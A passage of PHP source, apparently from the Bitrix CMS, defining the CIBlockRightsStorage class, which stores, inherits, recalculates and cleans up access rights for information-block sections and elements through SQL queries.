				$arResult[$ar["ID"]][$ar["NAME"]] = $ar["NAME"];
		}

		if(is_array($arID))
			return $arResult;
		elseif(array_key_exists($arID, $arResult))
			return $arResult[$arID];
		else
			return array();
	}
}

class CIBlockRightsStorage
{
	protected $IBLOCK_ID = 0;
	protected $SECTION_ID = 0;
	protected $ELEMENT_ID = 0;
	protected $arSection = null;
	function __construct($IBLOCK_ID, $SECTION_ID, $ELEMENT_ID)
	{
		$this->IBLOCK_ID = intval($IBLOCK_ID);
		$this->SECTION_ID = intval($SECTION_ID);
		$this->ELEMENT_ID = intval($ELEMENT_ID);
	}

	function _set_section($SECTION_ID)
	{
		$this->SECTION_ID = intval($SECTION_ID);
		$this->arSection = null;
	}

	function _get_section()
	{
		if(!isset($this->arSection))
		{
			if($this->SECTION_ID > 0)
			{
				$rsSection = CIBlockSection::GetList(array(), array(
					"IBLOCK_ID" => $this->IBLOCK_ID,
					"=ID" => $this->SECTION_ID,
					"CHECK_PERMISSIONS" => "N",
				), false, array("LEFT_MARGIN", "RIGHT_MARGIN"));
				$this->arSection = $rsSection->Fetch();

				//We have to resort sections in some cases
				if(
					$this->arSection
					&& (
						$this->arSection["LEFT_MARGIN"] <= 0
						|| $this->arSection["RIGHT_MARGIN"] <= 0
					)
				)
				{
					CIBlockSection::Resort($this->IBLOCK_ID);

					$rsSection = CIBlockSection::GetList(array(), array(
						"IBLOCK_ID" => $this->IBLOCK_ID,
						"=ID" => $this->SECTION_ID,
						"CHECK_PERMISSIONS" => "N",
					), false, array("LEFT_MARGIN", "RIGHT_MARGIN"));
					$this->arSection = $rsSection->Fetch();
				}
			}
			else
			{
				$this->arSection = false;
			}
		}
		return $this->arSection;
	}

	function CountOverWrited($GROUP_CODE)
	{
		global $DB;
		$arResult = array(0,0);

		if($this->ELEMENT_ID > 0)
		{
		}
		elseif(is_array($this->_get_section()))
		{
			//Count subsections
			$rs = $DB->Query("
				SELECT
					COUNT(DISTINCT SR.SECTION_ID) CNT
				FROM
					b_iblock_right BR
					INNER JOIN b_iblock_section_right SR ON SR.RIGHT_ID = BR.ID
					INNER JOIN b_iblock_section BS ON BS.ID = SR.SECTION_ID
				WHERE
					BR.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND BR.GROUP_CODE = '".$DB->ForSQL($GROUP_CODE, 32)."'
					AND SR.IS_INHERITED = 'N'
					AND BS.LEFT_MARGIN  > ".$this->arSection["LEFT_MARGIN"]."
					AND BS.RIGHT_MARGIN < ".$this->arSection["RIGHT_MARGIN"]."
			");
			$ar = $rs->Fetch();
			if($ar)
				$arResult[0] = $ar["CNT"];

			//Count elements in subsections
			$rs = $DB->Query("
				SELECT
					COUNT(DISTINCT ER.ELEMENT_ID) CNT
				FROM
					b_iblock_right BR
					INNER JOIN b_iblock_element_right ER ON ER.RIGHT_ID = BR.ID
					INNER JOIN b_iblock_section_element BSE ON BSE.IBLOCK_ELEMENT_ID = ER.ELEMENT_ID AND ADDITIONAL_PROPERTY_ID IS NULL
					INNER JOIN b_iblock_section BS ON BS.ID = BSE.IBLOCK_SECTION_ID
				WHERE
					BR.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND BR.GROUP_CODE = '".$DB->ForSQL($GROUP_CODE, 32)."'
					AND ER.IS_INHERITED = 'N'
					AND BS.LEFT_MARGIN  >= ".$this->arSection["LEFT_MARGIN"]."
					AND BS.RIGHT_MARGIN <= ".$this->arSection["RIGHT_MARGIN"]."
			");

			$ar = $rs->Fetch();
			if($ar)
				$arResult[1] = $ar["CNT"];
		}
		else
		{
			//Count subsections
			$rs = $DB->Query("
				SELECT
					COUNT(DISTINCT SR.SECTION_ID) CNT
				FROM
					b_iblock_right BR
					INNER JOIN b_iblock_section_right SR ON SR.RIGHT_ID = BR.ID
				WHERE
					BR.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND BR.GROUP_CODE = '".$DB->ForSQL($GROUP_CODE, 32)."'
					AND SR.IS_INHERITED = 'N'
			");
			$ar = $rs->Fetch();
			if($ar)
				$arResult[0] = $ar["CNT"];

			//Count elements in subsections
			$rs = $DB->Query("
				SELECT
					COUNT(DISTINCT ER.ELEMENT_ID) CNT
				FROM
					b_iblock_right BR
					INNER JOIN b_iblock_element_right ER ON ER.RIGHT_ID = BR.ID
				WHERE
					BR.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND BR.GROUP_CODE = '".$DB->ForSQL($GROUP_CODE, 32)."'
					AND ER.IS_INHERITED = 'N'
			");
			$ar = $rs->Fetch();
			if($ar)
				$arResult[1] = $ar["CNT"];
		}

		return $arResult;
	}

	function DeleteSelfSet($ID, $TYPE)
	{
		global $DB;

		$strRightSubQuery = "
			SELECT ID FROM b_iblock_right
			WHERE IBLOCK_ID = ".$this->IBLOCK_ID."
			".($TYPE == CIBlockRights::GROUP_CODE?
				"AND GROUP_CODE = '".$DB->ForSQL($ID, 32)."'":
				"AND ID = ".intval($ID)
			)."
		";

		if($this->ELEMENT_ID > 0)
		{
			$DB->Query("
				DELETE FROM b_iblock_element_right
				WHERE IBLOCK_ID = ".$this->IBLOCK_ID."
				AND ELEMENT_ID = ".$this->ELEMENT_ID."
				AND RIGHT_ID IN ($strRightSubQuery)
			");
		}
		elseif(is_array($this->_get_section()))
		{
			$DB->Query("
				DELETE FROM b_iblock_section_right
				WHERE IBLOCK_ID = ".$this->IBLOCK_ID."
				AND SECTION_ID = ".$this->SECTION_ID."
				AND RIGHT_ID IN ($strRightSubQuery)
			");
		}
		else
		{
		}
	}

	function DeleteChildrenSet($ID, $TYPE)
	{
		global $DB;

		$strRightSubQuery = "
			SELECT ID FROM b_iblock_right
			WHERE IBLOCK_ID = ".$this->IBLOCK_ID."
			".($TYPE == CIBlockRights::GROUP_CODE?
				"AND GROUP_CODE = '".$DB->ForSQL($ID, 32)."'":
				"AND ID = ".intval($ID)
			)."
		";

		if($this->ELEMENT_ID > 0)
		{
		}
		elseif(is_array($this->_get_section()))
		{
			if($DB->type === "MYSQL")
			{
				$DB->Query("
					DELETE b_iblock_section_right.*
					FROM b_iblock_section_right
					INNER JOIN b_iblock_section BS ON BS.ID = b_iblock_section_right.SECTION_ID
					WHERE b_iblock_section_right.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND BS.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND LEFT_MARGIN  > ".$this->arSection["LEFT_MARGIN"]."
					AND RIGHT_MARGIN < ".$this->arSection["RIGHT_MARGIN"]."
					AND RIGHT_ID IN ($strRightSubQuery)
				");
				$DB->Query("
					DELETE b_iblock_element_right.*
					FROM b_iblock_element_right
					INNER JOIN b_iblock_section_element BSE ON BSE.IBLOCK_ELEMENT_ID = b_iblock_element_right.ELEMENT_ID
					INNER JOIN b_iblock_section BS ON BSE.IBLOCK_SECTION_ID = BS.ID AND BSE.ADDITIONAL_PROPERTY_ID IS NULL
					WHERE b_iblock_element_right.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND BS.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND BS.LEFT_MARGIN <= ".$this->arSection["RIGHT_MARGIN"]."
					AND BS.RIGHT_MARGIN >= ".$this->arSection["LEFT_MARGIN"]."
					AND (SECTION_ID IN (
						SELECT ID FROM b_iblock_section
						WHERE IBLOCK_ID = ".$this->IBLOCK_ID."
						AND LEFT_MARGIN  >= ".$this->arSection["LEFT_MARGIN"]."
						AND RIGHT_MARGIN <= ".$this->arSection["RIGHT_MARGIN"]."
					) OR SECTION_ID = 0)
					AND RIGHT_ID IN ($strRightSubQuery)
				");
			}
			else
			{
				$DB->Query("
					DELETE FROM b_iblock_section_right
					WHERE IBLOCK_ID = ".$this->IBLOCK_ID."
					AND SECTION_ID IN (
						SELECT ID FROM b_iblock_section
						WHERE IBLOCK_ID = ".$this->IBLOCK_ID."
						AND LEFT_MARGIN  > ".$this->arSection["LEFT_MARGIN"]."
						AND RIGHT_MARGIN < ".$this->arSection["RIGHT_MARGIN"]."
					)
					AND RIGHT_ID IN ($strRightSubQuery)
				");
				$DB->Query("
					DELETE FROM b_iblock_element_right
					WHERE IBLOCK_ID = ".$this->IBLOCK_ID."
					AND ELEMENT_ID IN (
						SELECT BSE.IBLOCK_ELEMENT_ID
						FROM b_iblock_section_element BSE
						INNER JOIN b_iblock_section BS ON BSE.IBLOCK_SECTION_ID = BS.ID AND BSE.ADDITIONAL_PROPERTY_ID IS NULL
						WHERE BS.IBLOCK_ID = ".$this->IBLOCK_ID."
						AND BS.LEFT_MARGIN <= ".$this->arSection["RIGHT_MARGIN"]."
						AND BS.RIGHT_MARGIN >= ".$this->arSection["LEFT_MARGIN"]."
					)
					AND (SECTION_ID IN (
						SELECT ID FROM b_iblock_section
						WHERE IBLOCK_ID = ".$this->IBLOCK_ID."
						AND LEFT_MARGIN  >= ".$this->arSection["LEFT_MARGIN"]."
						AND RIGHT_MARGIN <= ".$this->arSection["RIGHT_MARGIN"]."
					) OR SECTION_ID = 0)
					AND RIGHT_ID IN ($strRightSubQuery)
				");
			}
		}
		else
		{
			$DB->Query("
				DELETE FROM b_iblock_section_right
				WHERE IBLOCK_ID = ".$this->IBLOCK_ID."
				AND RIGHT_ID IN ($strRightSubQuery)
			");

			$DB->Query("
				DELETE FROM b_iblock_element_right
				WHERE IBLOCK_ID = ".$this->IBLOCK_ID."
				AND RIGHT_ID IN ($strRightSubQuery)
			");
		}
	}

	function AddSelfSet($RIGHT_ID, $bInherited = false)
	{
		global $DB;

		if($this->ELEMENT_ID > 0)
		{
			$DB->Query("
				INSERT INTO b_iblock_element_right (IBLOCK_ID, SECTION_ID, ELEMENT_ID, RIGHT_ID, IS_INHERITED)
				SELECT ".$this->IBLOCK_ID.", ".$this->SECTION_ID.", BE.ID, ".intval($RIGHT_ID).", '".($bInherited? "Y": "N")."'
				FROM
					b_iblock_element BE
					LEFT JOIN b_iblock_element_right ER ON ER.ELEMENT_ID = BE.ID AND ER.SECTION_ID = ".$this->SECTION_ID." AND ER.RIGHT_ID = ".intval($RIGHT_ID)."
				WHERE
					BE.ID = ".$this->ELEMENT_ID."
					AND ER.SECTION_ID IS NULL
			");
		}
		elseif(is_array($this->_get_section()))
		{
			$DB->Query("
				INSERT INTO b_iblock_section_right (IBLOCK_ID, SECTION_ID, RIGHT_ID, IS_INHERITED)
				SELECT ".$this->IBLOCK_ID.", BS.ID, ".intval($RIGHT_ID).", '".($bInherited? "Y": "N")."'
				FROM
					b_iblock_section BS
					LEFT JOIN b_iblock_section_right SR ON SR.SECTION_ID = BS.ID AND SR.RIGHT_ID = ".intval($RIGHT_ID)."
				WHERE
					BS.ID = ".$this->SECTION_ID."
					AND SR.SECTION_ID IS NULL
			");
		}
		else
		{
		}
	}

	function AddChildrenSet($RIGHT_ID, $GROUP_CODE, $bInherited)
	{
		global $DB;

		if($this->ELEMENT_ID > 0)
		{
		}
		elseif(is_array($this->_get_section()))
		{
			$DB->Query("
				INSERT INTO b_iblock_section_right (IBLOCK_ID, SECTION_ID, RIGHT_ID, IS_INHERITED)
				SELECT ".$this->IBLOCK_ID.", BS.ID, ".intval($RIGHT_ID).", '".($bInherited? "Y": "N")."'
				FROM
					b_iblock_section BS
				WHERE
					BS.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND BS.LEFT_MARGIN  > ".$this->arSection["LEFT_MARGIN"]."
					AND BS.RIGHT_MARGIN < ".$this->arSection["RIGHT_MARGIN"]."
					AND BS.ID NOT IN (
						SELECT SR.SECTION_ID
						FROM
							b_iblock_right BR
							INNER JOIN b_iblock_section_right SR ON SR.RIGHT_ID = BR.ID
						WHERE
							BR.GROUP_CODE = '".$DB->ForSQL($GROUP_CODE, 32)."'
							AND BR.IBLOCK_ID = ".$this->IBLOCK_ID."
					)
			");

			$DB->Query("
				INSERT INTO b_iblock_element_right (IBLOCK_ID, SECTION_ID, ELEMENT_ID, RIGHT_ID, IS_INHERITED)
				SELECT ".$this->IBLOCK_ID.", BSE.IBLOCK_SECTION_ID, BSE.IBLOCK_ELEMENT_ID, ".intval($RIGHT_ID).", '".($bInherited? "Y": "N")."'
				FROM
					b_iblock_section_element BSE
				WHERE
					BSE.ADDITIONAL_PROPERTY_ID IS NULL
					AND BSE.IBLOCK_SECTION_ID IN (
						SELECT SECTION_ID
						FROM b_iblock_section_right
						WHERE RIGHT_ID = ".intval($RIGHT_ID)."
					)
					AND BSE.IBLOCK_ELEMENT_ID NOT IN (
						SELECT ER.ELEMENT_ID
						FROM
							b_iblock_right BR
							INNER JOIN b_iblock_element_right ER ON ER.RIGHT_ID = BR.ID
						WHERE
							BR.GROUP_CODE = '".$DB->ForSQL($GROUP_CODE, 32)."'
							AND BR.IBLOCK_ID = ".$this->IBLOCK_ID."
							AND (ER.SECTION_ID = BSE.IBLOCK_SECTION_ID OR ER.SECTION_ID = 0)
					)
			");
		}
		else
		{
			$DB->Query("
				INSERT INTO b_iblock_section_right (IBLOCK_ID, SECTION_ID, RIGHT_ID, IS_INHERITED)
				SELECT ".$this->IBLOCK_ID.", BS.ID, ".intval($RIGHT_ID).", '".($bInherited? "Y": "N")."'
				FROM
					b_iblock_section BS
				WHERE
					BS.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND BS.ID NOT IN (
						SELECT SR.SECTION_ID
						FROM
							b_iblock_right BR
							INNER JOIN b_iblock_section_right SR ON SR.RIGHT_ID = BR.ID
						WHERE
							BR.GROUP_CODE = '".$DB->ForSQL($GROUP_CODE, 32)."'
							AND BR.IBLOCK_ID = ".$this->IBLOCK_ID."
					)
			");

			$DB->Query("
				INSERT INTO b_iblock_element_right (IBLOCK_ID, SECTION_ID, ELEMENT_ID, RIGHT_ID, IS_INHERITED)
				SELECT ".$this->IBLOCK_ID.", 0, BE.ID, ".intval($RIGHT_ID).", '".($bInherited? "Y": "N")."'
				FROM
					b_iblock_element BE
				WHERE
					BE.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND BE.IN_SECTIONS = 'N'
					AND BE.ID NOT IN (
						SELECT ER.ELEMENT_ID
						FROM
							b_iblock_right BR
							INNER JOIN b_iblock_element_right ER ON ER.RIGHT_ID = BR.ID
						WHERE
							BR.GROUP_CODE = '".$DB->ForSQL($GROUP_CODE, 32)."'
							AND BR.IBLOCK_ID = ".$this->IBLOCK_ID."
							AND ER.SECTION_ID = 0
					)
			");

			$DB->Query("
				INSERT INTO b_iblock_element_right (IBLOCK_ID, SECTION_ID, ELEMENT_ID, RIGHT_ID, IS_INHERITED)
				SELECT ".$this->IBLOCK_ID.", BSE.IBLOCK_SECTION_ID, BSE.IBLOCK_ELEMENT_ID, ".intval($RIGHT_ID).", '".($bInherited? "Y": "N")."'
				FROM
					b_iblock_section_element BSE
				WHERE
					BSE.ADDITIONAL_PROPERTY_ID IS NULL
					AND BSE.IBLOCK_SECTION_ID IN (
						SELECT SECTION_ID
						FROM b_iblock_section_right
						WHERE RIGHT_ID = ".intval($RIGHT_ID)."
					)
					AND BSE.IBLOCK_ELEMENT_ID NOT IN (
						SELECT ER.ELEMENT_ID
						FROM
							b_iblock_right BR
							INNER JOIN b_iblock_element_right ER ON ER.RIGHT_ID = BR.ID
						WHERE
							BR.GROUP_CODE = '".$DB->ForSQL($GROUP_CODE, 32)."'
							AND BR.IBLOCK_ID = ".$this->IBLOCK_ID."
							AND ER.SECTION_ID in (BSE.IBLOCK_SECTION_ID, 0)
					)
			");
		}
	}

	function FindParentWithInherit($GROUP_CODE)
	{
		global $DB;
		$arResult = array();

		if($this->ELEMENT_ID > 0)
		{
			$rs = $DB->Query("
				SELECT SR.SECTION_ID, SR.RIGHT_ID
				FROM
					b_iblock_section_element BSE
					INNER JOIN b_iblock_section_right SR ON SR.SECTION_ID = BSE.IBLOCK_SECTION_ID
					INNER JOIN b_iblock_right BR ON BR.ID = SR.RIGHT_ID
				WHERE
					BSE.IBLOCK_ELEMENT_ID = ".$this->ELEMENT_ID."
					AND BSE.ADDITIONAL_PROPERTY_ID IS NULL
					AND BR.GROUP_CODE = '".$DB->ForSQL($GROUP_CODE)."'
			");
			while($ar = $rs->Fetch())
				$arResult[$ar["SECTION_ID"]] = $ar["RIGHT_ID"];
		}
		elseif(is_array($this->_get_section()))
		{
			$rs = $DB->Query("
				SELECT BS.IBLOCK_SECTION_ID, SR.RIGHT_ID
				FROM
					b_iblock_section BS
					INNER JOIN b_iblock_section_right SR ON SR.SECTION_ID = BS.IBLOCK_SECTION_ID
					INNER JOIN b_iblock_right BR ON BR.ID = SR.RIGHT_ID
				WHERE
					BS.ID = ".$this->SECTION_ID."
					AND BR.GROUP_CODE = '".$DB->ForSQL($GROUP_CODE)."'
			");
			while($ar = $rs->Fetch())
				$arResult[$ar["IBLOCK_SECTION_ID"]] = $ar["RIGHT_ID"];
		}
		else
		{
			return array(); //iblock does not have parent
		}

		//Root section or element
		if(empty($arResult))
		{
			$rs = $DB->Query("
				SELECT BR.ID
				FROM
					b_iblock_right BR
				WHERE
					BR.IBLOCK_ID = ".$this->IBLOCK_ID."
					AND BR.GROUP_CODE = '".$DB->ForSQL($GROUP_CODE)."'
					AND ENTITY_TYPE = 'iblock'
			");
			while($ar = $rs->Fetch())
				$arResult[0] = $ar["ID"];
		}

		return $arResult;
	}

	function DeleteRights()
	{
		global $DB;

		if($this->ELEMENT_ID > 0)
		{
			$DB->Query("DELETE FROM b_iblock_element_right WHERE ELEMENT_ID = ".$this->ELEMENT_ID);
		}
		elseif(is_array($this->_get_section()))
		{
			$DB->Query("DELETE FROM b_iblock_section_right WHERE SECTION_ID = ".$this->SECTION_ID);
		}
		else
		{
		}
	}

	function CleanUp($bFull = false)
	{
		global $DB;

		if($bFull)
		{
			$DB->Query("DELETE FROM b_iblock_element_right WHERE IBLOCK_ID = ".$this->IBLOCK_ID);
			$DB->Query("DELETE FROM b_iblock_section_right WHERE IBLOCK_ID = ".$this->IBLOCK_ID);
			$DB->Query("DELETE FROM b_iblock_right WHERE IBLOCK_ID = ".$this->IBLOCK_ID);
		}
		else
		{
			$DB->Query("
				DELETE FROM b_iblock_right
				WHERE IBLOCK_ID = ".$this->IBLOCK_ID."
				AND ENTITY_TYPE <> 'iblock'
				AND ID NOT IN (
					SELECT RIGHT_ID
					FROM b_iblock_section_right
					WHERE IBLOCK_ID = ".$this->IBLOCK_ID."
				)
				AND ID NOT IN (
					SELECT RIGHT_ID
					FROM b_iblock_element_right
					WHERE IBLOCK_ID = ".$this->IBLOCK_ID."
				)
			");
		}
	}

	function Recalculate()
	{
		global $DB;

		$DB->Query("DELETE FROM b_iblock_element_right WHERE IBLOCK_ID = ".$this->IBLOCK_ID);
		$DB->Query("DELETE FROM b_iblock_section_right WHERE IBLOCK_ID = ".$this->IBLOCK_ID);
		//Elements
		$DB->Query("
			INSERT INTO b_iblock_element_right (IBLOCK_ID, SECTION_ID, ELEMENT_ID, RIGHT_ID, IS_INHERITED)
			SELECT BE.IBLOCK_ID, 0, BE.ID, BR.ID, 'N'
			FROM
				b_iblock_right BR
				INNER JOIN b_iblock_element BE ON BE.ID = BR.ENTITY_ID and BE.IBLOCK_ID = BR.IBLOCK_ID
			WHERE
				BR.IBLOCK_ID = ".$this->IBLOCK_ID."
				AND BR.ENTITY_TYPE = 'element'
				AND BE.ID NOT IN (
					SELECT ER0.ELEMENT_ID
					FROM
						b_iblock_right BR0
						INNER JOIN b_iblock_element_right ER0 ON ER0.RIGHT_ID = BR0.ID
					WHERE
						BR0.IBLOCK_ID = ".$this->IBLOCK_ID."
						AND BR0.ENTITY_TYPE = 'element'
				)
		");
		//Sections
		$rs = $DB->Query("
			SELECT BR.ID RIGHT_ID, BS.ID SECTION_ID, BR.GROUP_CODE
			FROM
				b_iblock_right BR
				INNER JOIN b_iblock_section BS ON BS.ID = BR.ENTITY_ID and BS.IBLOCK_ID = BR.IBLOCK_ID
			WHERE
				BR.IBLOCK_ID = ".$this->IBLOCK_ID."
				AND BR.ENTITY_TYPE = 'section'
			ORDER BY
				BS.DEPTH_LEVEL DESC
		");
		while($ar = $rs->Fetch())
		{
			$this->_set_section($ar["SECTION_ID"]);
			$this->AddSelfSet($ar["RIGHT_ID"]);
			$this->AddChildrenSet($ar["RIGHT_ID"], $ar["GROUP_CODE"], /*$bInherited=*/true);
		}
		//IBlock
		$this->_set_section(0);
		$rs = $DB->Query("
			SELECT BR.ID RIGHT_ID, BR.GROUP_CODE
			FROM
				b_iblock_right BR
			WHERE
				BR.IBLOCK_ID = ".$this->IBLOCK_ID."
				AND BR.ENTITY_TYPE = 'iblock'
		");
		while($ar = $rs->Fetch())
		{
			$this->AddChildrenSet($ar["RIGHT_ID"], $ar["GROUP_CODE"], /*$bInherited=*/true);
		}
	}

	public static function OnTaskOperationsChanged($TASK_ID, $arOld, $arNew)
	{
		global $DB;
		$TASK_ID = intval($TASK_ID);

		if(!in_array("element_read", $arOld) && in_array("element_read", $arNew))
			$DB->Query("UPDATE b_iblock_right SET OP_EREAD = 'Y' WHERE TASK_ID = ".$TASK_ID);
		elseif(in_array("element_read", $arOld) && !in_array("element_read", $arNew))
			$DB->Query("UPDATE b_iblock_right SET OP_EREAD = 'N' WHERE TASK_ID = ".$TASK_ID);

		if(!in_array("section_read", $arOld) && in_array("section_read", $arNew))
			$DB->Query("UPDATE b_iblock_right SET OP_SREAD = 'Y' WHERE TASK_ID = ".$TASK_ID);
		elseif(in_array("section_read", $arOld) && !in_array("section_read", $arNew))
			$DB->Query("UPDATE b_iblock_right SET OP_SREAD = 'N' WHERE TASK_ID = ".$TASK_ID);
	}

	public static function OnGroupDelete($GROUP_ID)
	{
		global $DB;
		$GROUP_ID = intval($GROUP_ID);

		$DB->Query("
			DELETE FROM b_iblock_element_right WHERE RIGHT_ID IN (
				SELECT ID FROM b_iblock_right WHERE GROUP_CODE = 'G".$GROUP_ID."'
			)
		");
		$DB->Query("
			DELETE FROM b_iblock_section_right WHERE RIGHT_ID IN (
				SELECT ID FROM b_iblock_right WHERE GROUP_CODE = 'G".$GROUP_ID."'
			)
		");
		$DB->Query("
			DELETE FROM b_iblock_right WHERE GROUP_CODE = 'G".$GROUP_ID."'
		");
	}

	public static function OnUserDelete($USER_ID)
	{
		global $DB;
		$USER_ID = intval($USER_ID);

		$DB->Query("
			DELETE FROM b_iblock_element_right WHERE RIGHT_ID IN (
				SELECT ID FROM b_iblock_right WHERE GROUP_CODE = 'U".$USER_ID."'
			)
		");
		$DB->Query("
			DELETE FROM b_iblock_section_right WHERE RIGHT_ID IN (
				SELECT ID FROM b_iblock_right WHERE GROUP_CODE = 'U".$USER_ID."'
			)
		");
		$DB->Query("
			DELETE FROM b_iblock_right WHERE GROUP_CODE = 'U".$USER_ID."'
		");
	}
}
?>